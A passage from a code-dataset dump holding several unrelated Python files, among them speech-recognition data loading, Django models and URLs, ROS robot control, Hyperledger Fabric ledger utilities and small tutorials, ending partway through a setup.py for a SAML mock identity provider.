self.devel_dataset)\n\n def remove_extra_and_rename_columns(self, dataset, text_column, audio_path_column):\n if isinstance(dataset, dict) and 'train' in dataset.keys():\n dataset = dataset['train']\n # remove unused columns\n dataset = remove_extra_columns(dataset, text_column, audio_path_column)\n\n # rename columns if necessary\n current_column_names = list(dataset.column_names)\n\n if self.text_column not in current_column_names:\n dataset = dataset.rename_column(text_column, self.text_column)\n\n if self.audio_path_column not in current_column_names:\n dataset = dataset.rename_column(audio_path_column, self.audio_path_column)\n return dataset\n\n def make_dataset(self, dataset_dict, own_dataset=None):\n text_column, audio_path_column = parse_dataset_dict(dataset_dict)\n if 'dataset_cache' in self.config and self.config.dataset_cache:\n dataset_dict['cache_dir'] = self.config.dataset_cache\n\n dataset = load_dataset(**dataset_dict)\n # remove extra columns\n dataset = self.remove_extra_and_rename_columns(dataset, text_column, audio_path_column)\n\n if own_dataset is None:\n own_dataset = dataset\n else:\n own_dataset = concatenate_datasets([own_dataset, dataset])\n return own_dataset \n \n def normalise_texts(self):\n vocab_string = vocab_to_string(self.vocab, self.config.vocab['blank'], self.config.vocab['silence'], self.config.vocab['unk'])\n\n def remove_invalid_characters(batch):\n text = batch[self.text_column].lower()\n text = re.sub(\"[^{}]\".format(vocab_string), \" \", text)\n text = re.sub(\"[ ]+\", \" \", text)\n \n batch[self.text_column] = text + \" \"\n\n return batch\n\n print(\"> Prepare Texts\")\n # remove invalid chars\n self.train_dataset = self.train_dataset.map(remove_invalid_characters, num_proc=self.config['num_loader_workers'])\n self.devel_dataset = self.devel_dataset.map(remove_invalid_characters, num_proc=self.config['num_loader_workers'])\n\n def audio_preprocess_and_prepare_dataset(self):\n\n def prepare_dataset(batch):\n if self.files_path:\n batch[self.audio_path_column] = os.path.join(self.files_path, batch[self.audio_path_column])\n batch[\"input_values\"] = batch[self.audio_path_column]\n with self.processor.as_target_processor():\n batch[\"labels\"] = self.processor(batch[self.text_column]).input_ids\n batch[\"length\"] = len(batch[\"labels\"])\n return batch\n\n print(\"> Prepare dataloader\")\n self.train_dataset = self.train_dataset.map(prepare_dataset, remove_columns=self.train_dataset.column_names, num_proc=self.config['num_loader_workers'], batched=False)\n self.devel_dataset = self.devel_dataset.map(prepare_dataset, remove_columns=self.devel_dataset.column_names, num_proc=self.config['num_loader_workers'], batched=False)\n\n@dataclass\nclass DataColletor:\n # Adpated from https://huggingface.co/blog/fine-tune-xlsr-wav2vec2\n \"\"\"\n Data collator that will dynamically pad the inputs received.\n Args:\n processor (:class:`~transformers.Wav2Vec2Processor`)\n The processor used for proccessing the data.\n padding (:obj:`bool`, :obj:`str` or :class:`~transformers.tokenization_utils_base.PaddingStrategy`, `optional`, defaults to :obj:`True`):\n Select a strategy to pad the returned sequences (according to the model's padding side and padding index)\n among:\n * :obj:`True` or :obj:`'longest'`: Pad to the longest sequence in the batch (or no padding if only a single\n sequence if provided).\n * :obj:`'max_length'`: Pad to a maximum length specified with the argument :obj:`max_length` or to the\n maximum acceptable input length for the model if that argument is not provided.\n * :obj:`False` or :obj:`'do_not_pad'` (default): No padding (i.e., can output a batch with sequences of\n different lengths).\n max_length (:obj:`int`, `optional`):\n Maximum length of the ``input_values`` of the returned list and optionally padding length (see above).\n max_length_labels (:obj:`int`, `optional`):\n Maximum length of the ``labels`` returned list and optionally padding length (see above).\n pad_to_multiple_of (:obj:`int`, `optional`):\n If set will pad the sequence to a multiple of the provided value.\n This is especially useful to enable the use of Tensor Cores on NVIDIA hardware with compute capability >=\n 7.5 (Volta).\n \"\"\"\n def __init__(self, processor, audio_augmentator=None, sampling_rate=16000, padding=True, test=False, max_length=None, max_length_labels=None, pad_to_multiple_of=None, pad_to_multiple_of_labels=None):\n self.processor = processor\n self.audio_augmentator = audio_augmentator\n self.sampling_rate = sampling_rate\n self.padding = padding\n self.test = test\n self.max_length = max_length\n self.max_length_labels = max_length_labels\n self.pad_to_multiple_of = pad_to_multiple_of\n self.pad_to_multiple_of_labels = pad_to_multiple_of_labels\n\n def __call__(self, features: List[Dict[str, Union[List[int], torch.Tensor]]]) -> Dict[str, torch.Tensor]:\n # split inputs and labels since they have to be of different lenghts and need\n # different padding methods\n input_features = []\n label_features = []\n audio_paths = []\n for feature in features:\n try:\n # load wav\n speech_array, sampling_rate = torchaudio.load(feature[\"input_values\"])\n if sampling_rate != self.sampling_rate:\n raise RuntimeError('Audio Sampling rate different than Config sampling rate ! Make sure that you convert the dataset sampling rate !')\n speech_array = speech_array.squeeze().numpy()\n input_tensor = self.processor(speech_array, sampling_rate=sampling_rate).input_values\n input_tensor = np.squeeze(input_tensor)\n \n if self.audio_augmentator is not None:\n input_tensor = self.audio_augmentator(input_tensor, sample_rate=self.sampling_rate).tolist()\n\n input_features.append({\"input_values\":input_tensor})\n label_features.append({\"input_ids\": feature[\"labels\"]})\n\n if self.test:\n audio_paths.append(feature['audio_path'])\n except:\n print(\"Error during load of audio:\", feature[\"input_values\"])\n continue\n\n batch = self.processor.pad(\n input_features,\n padding=self.padding,\n max_length=self.max_length,\n pad_to_multiple_of=self.pad_to_multiple_of,\n return_tensors=\"pt\",\n )\n with self.processor.as_target_processor():\n labels_batch = self.processor.pad(\n label_features,\n padding=self.padding,\n max_length=self.max_length_labels,\n pad_to_multiple_of=self.pad_to_multiple_of_labels,\n return_tensors=\"pt\",\n )\n\n # replace padding with -100 to ignore loss correctly\n labels = labels_batch[\"input_ids\"].masked_fill(labels_batch.attention_mask.ne(1), -100)\n\n batch[\"labels\"] = labels\n if self.test:\n batch[\"audio_path\"] = audio_paths\n return batch\n\n@dataclass\nclass DataColletorTest:\n # Adpated from https://huggingface.co/blog/fine-tune-xlsr-wav2vec2\n \"\"\"\n Data collator that will dynamically pad the inputs received.\n Args:\n processor (:class:`~transformers.Wav2Vec2Processor`)\n The processor used for proccessing the data.\n padding (:obj:`bool`, :obj:`str` or :class:`~transformers.tokenization_utils_base.PaddingStrategy`, `optional`, defaults to :obj:`True`):\n Select a strategy to pad the returned sequences (according to the model's padding side and padding index)\n among:\n * :obj:`True` or :obj:`'longest'`: Pad to the longest sequence in the batch (or no padding if only a single\n sequence if provided).\n * :obj:`'max_length'`: Pad to a maximum length specified with the argument :obj:`max_length` or to the\n maximum acceptable input length for the model if that argument is not provided.\n * :obj:`False` or :obj:`'do_not_pad'` (default): No padding (i.e., can output a batch with sequences of\n different lengths).\n max_length (:obj:`int`, `optional`):\n Maximum length of the ``input_values`` of the returned list and optionally padding length (see above).\n pad_to_multiple_of (:obj:`int`, `optional`):\n If set will pad the sequence to a multiple of the provided value.\n This is especially useful to enable the use of Tensor Cores on NVIDIA hardware with compute capability >=\n 7.5 (Volta).\n \"\"\"\n def __init__(self, processor, sampling_rate=16000, padding=True, test=False, max_length=None, pad_to_multiple_of=None):\n self.processor = processor\n self.sampling_rate = sampling_rate\n self.padding = padding\n self.max_length = max_length\n self.pad_to_multiple_of = pad_to_multiple_of\n\n def __call__(self, features: List[Dict[str, Union[List[int], torch.Tensor]]]) -> Dict[str, torch.Tensor]:\n # split inputs and labels since they have to be of different lenghts and need\n # different padding methods\n input_features = []\n audio_paths = []\n for wav_path in features:\n try:\n # load wav\n speech_array, sampling_rate = torchaudio.load(wav_path)\n if sampling_rate != self.sampling_rate:\n transform = torchaudio.transforms.Resample(sampling_rate, self.sampling_rate)\n speech_array = transform(speech_array)\n\n speech_array = speech_array.squeeze().numpy()\n input_tensor = self.processor(speech_array, sampling_rate=sampling_rate).input_values\n input_tensor = np.squeeze(input_tensor)\n input_features.append({\"input_values\":input_tensor})\n audio_paths.append(wav_path)\n\n except:\n print(\"Error during load of audio:\", wav_path)\n continue\n\n batch = self.processor.pad(\n input_features,\n padding=self.padding,\n max_length=self.max_length,\n pad_to_multiple_of=self.pad_to_multiple_of,\n return_tensors=\"pt\",\n )\n batch[\"audio_path\"] = audio_paths\n return batch\n\n'''if __name__ == \"__main__\":\n from generic_utils import load_config, load_vocab\n config_path = 'example/config_example.json'\n\n config = load_config(config_path)\n vocab = load_vocab(config.vocab['vocab_path'])\n dataset = Dataset(config, vocab)'''","sub_path":"utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":14000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"244453094","text":"from django.db import models\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom django_countries.fields import CountryField\n\n\nclass UserProfile(models.Model):\n usrId = models.BigIntegerField(blank=False)\n profilephoto = models.FileField(default='', blank=True)\n idealweight = models.FloatField(default=0)\n height = models.IntegerField(default=0, null=True)\n gender = models.BooleanField(choices=((0, \"Male\"), (1, \"Female\")), default=0)\n bday = models.DateField(default=timezone.now, blank=True)\n country = CountryField(default='', blank=True)\n\n def __int__(self):\n return self.usrId\n\n\nclass HealthData(models.Model):\n usrId = models.BigIntegerField()\n weight = models.FloatField(max_length=6)\n bmi = models.FloatField(blank=True)\n neck = models.FloatField(default=0, max_length=6)\n waist = models.FloatField(default=0, max_length=6)\n hip = models.FloatField(default=0, max_length=6)\n date = models.DateTimeField(auto_now_add=True)\n\n def __int__(self):\n return self.usrId\n\nclass ApiTokens(models.Model):\n usrId = models.BigIntegerField()\n access_token = models.CharField(max_length=256)\n refresh_token = models.CharField(max_length=256)\n expire_at = models.DateTimeField()\n \n def __int__(self):\n return self.usrId\n\nclass ActivitiesStravaData(models.Model):\n usrId = models.BigIntegerField()\n activity_id = models.BigIntegerField(null=True)\n name = models.CharField(max_length=1024)\n distance = models.FloatField(null=True)\n moving_time = models.CharField(max_length=128)\n elapsed_time = models.CharField(max_length=128)\n total_elevation_gain = models.CharField(max_length=128, null=True)\n average_speed = models.FloatField(null=True)\n max_speed = models.FloatField(null=True)\n average_cadence = models.FloatField(null=True)\n average_watts = models.FloatField(null=True)\n elev_high = models.FloatField(null=True)\n elev_low = models.FloatField(null=True)\n average_temp = models.FloatField(null=True)\n calories = models.FloatField(null=True)\n\n def __str__(self):\n return self.name\n\nclass ActivitiesDataFiles(models.Model):\n usrId = models.BigIntegerField()\n\n def __int__(self):\n return self.usrId","sub_path":"start/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"544428502","text":"import numpy as np\nimport pytest\nfrom numpy.testing import assert_array_equal\n\nfrom butterfly import tracing\n\n\n@pytest.fixture()\ndef fake_butterfly():\n butterfly = np.zeros((1000, 2000))\n butterfly[250:500, 250:500] = 1 # left wing\n butterfly[250:500, 1500:1750] = 1 # right wing\n butterfly[500:900, 400:1600] = 1 # body\n butterfly[250:500, 800:1200] = 1 # head\n\n return butterfly\n\n\ndef test_split(fake_butterfly):\n middle = tracing.split_picture(fake_butterfly)\n assert middle == 999\n\n\ndef test_remove_antenna(fake_butterfly):\n middle = tracing.split_picture(fake_butterfly)\n\n binary_left = fake_butterfly[:, :middle]\n binary_right = fake_butterfly[:, middle:]\n\n # Adding antennae\n binary_left[260, 500:800] = 1\n binary_right[260, 201:501] = 1\n\n without_antenna_l = tracing.remove_antenna(binary_left)\n without_antenna_r = tracing.remove_antenna(binary_right)\n\n assert np.sum(without_antenna_l[260, 500:800]) == 0\n assert np.sum(without_antenna_r[260, 201:501]) == 0\n\n\ndef test_outer_pix(fake_butterfly):\n middle = tracing.split_picture(fake_butterfly)\n\n binary_left = fake_butterfly[:, :middle]\n binary_right = fake_butterfly[:, middle:]\n\n outer_pix_l = tracing.detect_outer_pix(binary_left, 'l')\n outer_pix_r = tracing.detect_outer_pix(binary_right, 'r')\n outer_pix_r = outer_pix_r + np.array([0, middle])\n\n assert_array_equal(outer_pix_l, np.array([250, 250]))\n assert_array_equal(outer_pix_r, np.array([250, 1749]))\n\n\ndef test_inner_pix(fake_butterfly):\n middle = tracing.split_picture(fake_butterfly)\n\n binary_left = fake_butterfly[:, :middle]\n binary_right = fake_butterfly[:, middle:]\n\n # Relative outer pixels\n outer_pix_l = np.array([250, 250])\n outer_pix_r = np.array([250, 750])\n\n inner_pix_l = tracing.detect_inner_pix(binary_left, outer_pix_l, 'l')\n inner_pix_l = inner_pix_l + np.array([0, outer_pix_l[1]])\n\n inner_pix_r = tracing.detect_inner_pix(binary_right, outer_pix_r, 'r')\n inner_pix_r = inner_pix_r + np.array([0, middle])\n\n assert_array_equal(inner_pix_l, np.array([499, 799]))\n assert_array_equal(inner_pix_r, np.array([499, 1200]))\n","sub_path":"butterfly/tests/test_tracing.py","file_name":"test_tracing.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"476053050","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nThis is rumdom run node.\nsubscribe No topcs.\nPublish 'cmd_vel' topic. \nmainly use for simple sample program\n\nby Takuya Yamaguhi.\n'''\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import Image\nfrom sensor_msgs.msg import Imu\nfrom sensor_msgs.msg import LaserScan\nfrom sensor_msgs.msg import JointState\nfrom nav_msgs.msg import Odometry\nfrom std_msgs.msg import String\nfrom cv_bridge import CvBridge, CvBridgeError\nimport cv2\nimport numpy as np\nimport sendIdToJudge\nfrom tf.transformations import euler_from_quaternion\nimport subprocess\n\n\nclass Qwerty():\n def __init__(self, bot_name=\"NoName\",\n use_lidar=False, use_camera=False, use_imu=False,\n use_odom=False, use_joint_states=False, use_rviz=False):\n self.name = bot_name\n\n # velocity publisher\n self.vel_pub = rospy.Publisher('cmd_vel', Twist,queue_size=1)\n\n # lidar scan subscriber\n if use_lidar:\n self.scan = LaserScan()\n self.lidar_sub = rospy.Subscriber('scan', LaserScan, self.lidarCallback)\n\n # camera subscribver\n # please uncoment out if you use camera\n if use_camera:\n # for convert image topic to opencv obj\n self.img = None\n self.bridge = CvBridge()\n self.image_sub = rospy.Subscriber('image_raw', Image, self.imageCallback)\n\n # imu subscriber\n if use_imu:\n self.imu_sub = rospy.Subscriber('imu', Imu, self.imuCallback)\n\n # odom subscriber\n if use_odom:\n self.odom_sub = rospy.Subscriber('odom', Odometry, self.odomCallback)\n\n # joint_states subscriber\n if use_joint_states:\n self.odom_sub = rospy.Subscriber('joint_states', JointState, self.jointstateCallback)\n\n if use_rviz:\n # for convert image topic to opencv obj\n self.rviz_img = None\n self.rviz_bridge = CvBridge()\n self.rviz_image_sub = rospy.Subscriber('image_raw', Image, self.rvizimageCallback)\n # lidar scan topic call back sample\n # update lidar scan state\n def lidarCallback(self, data):\n self.scan = data\n rospy.loginfo(self.scan)\n\n # camera image call back sample\n # comvert image topic to opencv object and show\n def imageCallback(self, data):\n try:\n self.img = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n except CvBridgeError as e:\n rospy.logerr(e)\n '''\n self.S = self.area(self.img)\n if self.S != None:\n print(self.S)\n '''\n cv2.imshow(\"Image window\", self.img)\n cv2.waitKey(1)\n\n # imu call back sample\n # update imu state\n def imuCallback(self, data):\n self.imu = data\n rospy.loginfo(self.imu)\n\n # odom call back sample\n # update odometry state\n def odomCallback(self, data):\n self.pose_x = data.pose.pose.position.x\n self.pose_y = data.pose.pose.position.y\n rospy.loginfo(\"odom pose_x: {}\".format(self.pose_x))\n rospy.loginfo(\"odom pose_y: {}\".format(self.pose_y))\n\n # jointstate call back sample\n # update joint state\n def jointstateCallback(self, data):\n self.wheel_rot_r = data.position[0]\n self.wheel_rot_l = data.position[1]\n rospy.loginfo(\"joint_state R: {}\".format(self.wheel_rot_r))\n rospy.loginfo(\"joint_state L: {}\".format(self.wheel_rot_l))\n\n def rvizimageCallback(self, data):\n try:\n self.rviz_img = self.rviz_bridge.imgmsg_to_cv2(data, \"bgr8\")\n except CvBridgeError as e:\n rospy.logerr(e)\n\n cv2.imshow(\"rviz Image window\", self.rviz_img)\n cv2.waitKey(1)\n\n def area(self,img):\n hsv = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\n\n hsvLower = np.array([0, 128, 0])\n hsvUpper = np.array([30, 255, 255])\n mask1 = cv2.inRange(hsv, hsvLower, hsvUpper)\n\n hsvLower = np.array([150, 128, 0])\n hsvUpper = np.array([179, 255, 255])\n mask2 = cv2.inRange(hsv, hsvLower, hsvUpper)\n \n mask = mask1 + mask2\n\n masked_hsv = cv2.bitwise_and(img, img, mask=mask)\n gray = cv2.cvtColor(masked_hsv,cv2.COLOR_BGR2GRAY)\n\n ret,thresh = cv2.threshold(gray,0,255,cv2.THRESH_BINARY)\n image, contours, hierarchy = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n\n return cv2.contourArea(contours[0])\n\n def calcTwist(self):\n x = 0\n th = 0\n twist = Twist()\n twist.linear.x = x; twist.linear.y = 0; twist.linear.z = 0\n twist.angular.x = 0; twist.angular.y = 0; twist.angular.z = th\n return twist\n\n def strategy(self):\n r = rospy.Rate(1) # change speed 1fps\n\n target_speed = 0\n target_turn = 0\n control_speed = 0\n control_turn = 0\n\n while not rospy.is_shutdown():\n twist = self.calcTwist()\n print(twist)\n self.vel_pub.publish(twist)\n r.sleep()\n\n\nif __name__ == '__main__':\n rospy.init_node('all_sensor_sample')\n bot = Qwerty(bot_name='qwerty', use_lidar=False, use_camera=True,\n use_imu=False, use_odom=False, use_joint_states=False, use_rviz=False)\n bot.strategy()\n\n","sub_path":"burger_war/scripts/qwerty.py","file_name":"qwerty.py","file_ext":"py","file_size_in_byte":5269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"389708648","text":"from django.urls import path\nfrom wallets.api.views import WalletListAPIView, FundTransferAPIView, ActivationAPIView, SubscriptionAPIView, TransactionAPIView, AllTransactionAPIView, TransactionDetailAPIView, WalletUserAPIView\n\napp_name = 'wallet'\n\nurlpatterns = [\n path('wallet/', WalletUserAPIView.as_view(), name = 'wallet'),\n path('activate/', ActivationAPIView.as_view(), name = 'activate'),\n path('transfer/', FundTransferAPIView.as_view(), name = 'transfer'),\n path('subscribe/', SubscriptionAPIView.as_view(), name = 'subscribe'),\n path('all_wallet/', WalletListAPIView.as_view(), name = 'wallet-all'),\n path('transactions/', TransactionAPIView.as_view(), name = 'transactions'),\n path('all_transactions/', AllTransactionAPIView.as_view(), name = 'all-transactions'),\n path('transaction//', TransactionDetailAPIView.as_view(), name = 'transaction-detail'),\n]","sub_path":"wallets/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"256758882","text":"import hashlib\nimport json\nimport os\nimport subprocess\nimport threading\n\nfrom rest_framework import status\n\nfrom substrabac.settings.common import PROJECT_ROOT\nfrom substrapp.conf import conf\n\n#######\n# /!\\ #\n#######\n\n# careful, passing invoke parameters to queryLedger will NOT fail\n\n\ndef queryLedger(options):\n org = options['org']\n peer = options['peer']\n args = options['args']\n\n org_name = org['org_name']\n\n # update config path for using right core.yaml\n cfg_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), './conf/' + org_name + '/' + peer['name'])\n os.environ['FABRIC_CFG_PATH'] = cfg_path\n\n channel_name = conf['misc']['channel_name']\n chaincode_name = conf['misc']['chaincode_name']\n\n print('Querying chaincode in the channel \\'%(channel_name)s\\' on the peer \\'%(peer_host)s\\' ...' % {\n 'channel_name': channel_name,\n 'peer_host': peer['host']\n }, flush=True)\n\n output = subprocess.run([os.path.join(PROJECT_ROOT, '../bin/peer'),\n '--logging-level=debug',\n 'chaincode', 'query',\n '-x',\n '-C', channel_name,\n '-n', chaincode_name,\n '-c', args],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n st = status.HTTP_200_OK\n data = output.stdout.decode('utf-8')\n if data:\n # json transformation if needed\n try:\n data = json.loads(bytes.fromhex(data.rstrip()).decode('utf-8'))\n except:\n # TODO : Handle error\n pass\n\n msg = 'Query of channel \\'%(channel_name)s\\' on peer \\'%(peer_host)s\\' was successful\\n' % {\n 'channel_name': channel_name,\n 'peer_host': peer['host']\n }\n print(msg, flush=True)\n else:\n try:\n msg = output.stderr.decode('utf-8').split('Error')[2].split('\\n')[0]\n data = {'message': msg}\n except:\n msg = output.stderr.decode('utf-8')\n data = {'message': msg}\n finally:\n st = status.HTTP_400_BAD_REQUEST\n if 'access denied' in msg:\n st = status.HTTP_403_FORBIDDEN\n\n return data, st\n\n\ndef invokeLedger(options, sync=False):\n org = options['org']\n peer = options['peer']\n args = options['args']\n\n org_name = org['org_name']\n\n # update config path for using right core.yaml\n cfg_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), './conf/' + org_name + '/' + peer['name'])\n\n orderer = conf['orderers']['orderer']\n orderer_ca_file = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n 'conf/orderer/ca-cert.pem')\n orderer_key_file = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n 'conf/' + org_name + '/tls/' + peer['name'] + '/cli-client.key')\n orderer_cert_file = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n 'conf/' + org_name + '/tls/' + peer['name'] + '/cli-client.crt')\n\n os.environ['FABRIC_CFG_PATH'] = cfg_path\n\n channel_name = conf['misc']['channel_name']\n chaincode_name = conf['misc']['chaincode_name']\n\n print('Sending invoke transaction to %(PEER_HOST)s ...' % {'PEER_HOST': peer['host']}, flush=True)\n\n cmd = [os.path.join(PROJECT_ROOT, '../bin/peer'),\n '--logging-level=debug',\n 'chaincode', 'invoke',\n '-C', channel_name,\n '-n', chaincode_name,\n '-c', args,\n '-o', '%(host)s:%(port)s' % {'host': orderer['host'], 'port': orderer['port']},\n '--cafile', orderer_ca_file,\n '--tls',\n '--clientauth',\n '--keyfile', orderer_key_file,\n '--certfile', orderer_cert_file]\n\n if sync:\n cmd.append('--waitForEvent')\n\n output = subprocess.run(cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n if sync:\n st = status.HTTP_200_OK\n else:\n st = status.HTTP_201_CREATED\n\n data = output.stdout.decode('utf-8')\n\n if not data:\n msg = output.stderr.decode('utf-8')\n data = {'message': msg}\n\n if 'Error' in msg:\n st = status.HTTP_400_BAD_REQUEST\n elif 'access denied' in msg or 'authentication handshake failed' in msg:\n st = status.HTTP_403_FORBIDDEN\n elif 'Chaincode invoke successful' in msg:\n st = status.HTTP_201_CREATED\n try:\n msg = msg.split('result: status:')[1].split('\\n')[0].split('payload:')[1].strip().strip('\"')\n except:\n pass\n finally:\n data = {'pkhash': msg}\n\n return data, st\n\n\ndef compute_hash(bytes):\n sha256_hash = hashlib.sha256()\n\n if isinstance(bytes, str):\n bytes = bytes.encode()\n\n sha256_hash.update(bytes)\n\n return sha256_hash.hexdigest()\n\n\ndef get_cpu_sets(cpu_count, concurrency):\n cpu_step = max(1, cpu_count // concurrency)\n cpu_sets = []\n\n for cpu_start in range(0, cpu_count, cpu_step):\n cpu_set = '%s-%s' % (cpu_start, cpu_start + cpu_step - 1)\n cpu_sets.append(cpu_set)\n\n return cpu_sets\n\n\ndef get_gpu_sets(gpu_list, concurrency):\n gpu_count = len(gpu_list)\n gpu_step = max(1, gpu_count // concurrency)\n gpu_sets = []\n\n for igpu_start in range(0, gpu_count, gpu_step):\n gpu_sets.append(','.join(gpu_list[igpu_start: igpu_start + gpu_step]))\n\n return gpu_sets\n\n\ndef update_statistics(job_statistics, stats, gpu_stats):\n\n # CPU\n\n if stats is not None:\n\n if 'cpu_stats' in stats and stats['cpu_stats']['cpu_usage'].get('total_usage', None):\n # Compute CPU usage in %\n delta_total_usage = (stats['cpu_stats']['cpu_usage']['total_usage'] - stats['precpu_stats']['cpu_usage']['total_usage'])\n delta_system_usage = (stats['cpu_stats']['system_cpu_usage'] - stats['precpu_stats']['system_cpu_usage'])\n total_usage = (delta_total_usage / delta_system_usage) * stats['cpu_stats']['online_cpus'] * 100.0\n\n job_statistics['cpu']['current'].append(total_usage)\n job_statistics['cpu']['max'] = max(job_statistics['cpu']['max'],\n max(job_statistics['cpu']['current']))\n\n # MEMORY in GB\n if 'memory_stats' in stats:\n current_usage = stats['memory_stats'].get('usage', None)\n max_usage = stats['memory_stats'].get('max_usage', None)\n\n if current_usage:\n job_statistics['memory']['current'].append(current_usage / 1024**3)\n if max_usage:\n job_statistics['memory']['max'] = max(job_statistics['memory']['max'],\n max_usage / 1024**3,\n max(job_statistics['memory']['current']))\n\n # Network in kB\n if 'networks' in stats:\n job_statistics['netio']['rx'] = stats['networks']['eth0'].get('rx_bytes', 0)\n job_statistics['netio']['tx'] = stats['networks']['eth0'].get('tx_bytes', 0)\n\n # GPU\n\n if gpu_stats is not None:\n total_usage = sum([100 * gpu.load for gpu in gpu_stats])\n job_statistics['gpu']['current'].append(total_usage)\n job_statistics['gpu']['max'] = max(job_statistics['gpu']['max'],\n max(job_statistics['gpu']['current']))\n\n total_usage = sum([gpu.memoryUsed for gpu in gpu_stats]) / 1024\n job_statistics['gpu_memory']['current'].append(total_usage)\n job_statistics['gpu_memory']['max'] = max(job_statistics['gpu_memory']['max'],\n max(job_statistics['gpu_memory']['current']))\n\n # IO DISK\n # \"blkio_stats\": {\n # \"io_service_bytes_recursive\": [],\n # \"io_serviced_recursive\": [],\n # \"io_queue_recursive\": [],\n # \"io_service_time_recursive\": [],\n # \"io_wait_time_recursive\": [],\n # \"io_merged_recursive\": [],\n # \"io_time_recursive\": [],\n # \"sectors_recursive\": []\n # }\n\n # LOGGING\n # printable_stats = 'CPU - now : %d %% / max : %d %% | MEM - now : %.2f GB / max : %.2f GB' % \\\n # (job_statistics['cpu']['current'][-1],\n # job_statistics['cpu']['max'],\n # job_statistics['memory']['current'][-1],\n # job_statistics['memory']['max'])\n\n # logging.info('[JOB] Monitoring : %s' % (printable_stats, ))\n\n\nclass ExceptionThread(threading.Thread):\n\n def run(self):\n try:\n if self._target:\n self._target(*self._args, **self._kwargs)\n except BaseException as e:\n self._exception = e\n raise e\n finally:\n # Avoid a refcycle if the thread is running a function with\n # an argument that has a member that points to the thread.\n del self._target, self._args, self._kwargs\n","sub_path":"substrabac/substrapp/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"356139836","text":"import requests\n\n# response = requests.get(\"http://www.baidu.com\")\n# print(type(response.text)) # str数据类型\n# print(response.text) # response会以自己认为的方式进行解码导致输出的网页源代码会有乱码的出现\n\n# print(type(response.content))\n# print(response.content.decode('utf-8'))\n\n# print(response.url)\n# print(response.encoding)\n# print(response.status_code)\n\nparams = {\n 'wd': '中国' \n}\nheaders = {\n 'User-Agent': \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36\" \n}\n\nresponse = requests.get(\"https://www.baidu.com/s\", params=params, headers=headers)\n\nwith open('baidu.html', 'w', encoding='utf-8') as fp:\n fp.write(response.content.decode('utf-8'))\n\nprint(response.url)\n","sub_path":"requests库/demo12-requests库的基本使用.py","file_name":"demo12-requests库的基本使用.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"53668836","text":"from _ast import For\nfrom typing import Tuple\n\n\n# def generaPares(lim):\n\n# num = 1\n# miLista=[]\n#\n# while num < lim:\n# miLista.append(num*2)\n# num = num+1\n# return miLista\n\n\n# print(generaPares(10))\n\ndef generaPares(lim):\n num = 1\n\n while num < lim:\n yield num * 2\n num = num + 1\n\n\ndevuelvePares = generaPares(10)\n\n# for i in devuelvePares:\n# print(i)\n\n\nprint(next(devuelvePares))\nprint(\"aqui va mas codigo...\")\nprint(next(devuelvePares))\n\n\ndef devuelveCiudades(*ciudades):\n for elemento in ciudades:\n #for subElemento in elemento:\n yield from elemento\n\n\nciudades_devueltas = devuelveCiudades(\"Madrid\", \"Barcelona\", \"Bilbao\", \"Valencia\")\nprint(next(ciudades_devueltas))\nprint(next(ciudades_devueltas))\n","sub_path":"Generadores.py","file_name":"Generadores.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"348136734","text":"def good(n):\n number = list()\n number.append(n % 10)\n lst = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n lst[n % 10 - 1] += 1\n f = True\n\n while n:\n n = n // 10\n lst[n % 10 - 1] += 1\n if n % 10 <= number[-1]:\n number.append(n % 10)\n else:\n f = False\n break\n\n if f and lst.count(2) != 0:\n return 1\n else:\n return 0\n\n\nk = 0\nfor i in range(171309, 643604):\n k += good(i)\n\nprint(k)","sub_path":"Advent Of Code/day4.2.py","file_name":"day4.2.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"74564763","text":"# coding: utf-8\nfrom setuptools import setup\n\nfrom mockidp import __version__\n\nLONG_DESC = \"\"\"SAML 2.0 Mock Identity Provider\n===============================\n\nAuthentication testing environment for SAML2.0 service providers.\n\"\"\"\n\nclassifiers = [\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 4 - Beta',\n\n # Indicate who your project is intended for\n 'Intended Audience :: Developers',\n 'Topic :: Software Development',\n\n # Pick your license as you wish (should match \"license\" above)\n 'License :: OSI Approved :: MIT License',\n\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate whether you support Python 2, Python 3 or both.\n \"Programming Language :: Python :: 3.6\"\n]\n\n\nconfig = {\n 'name': 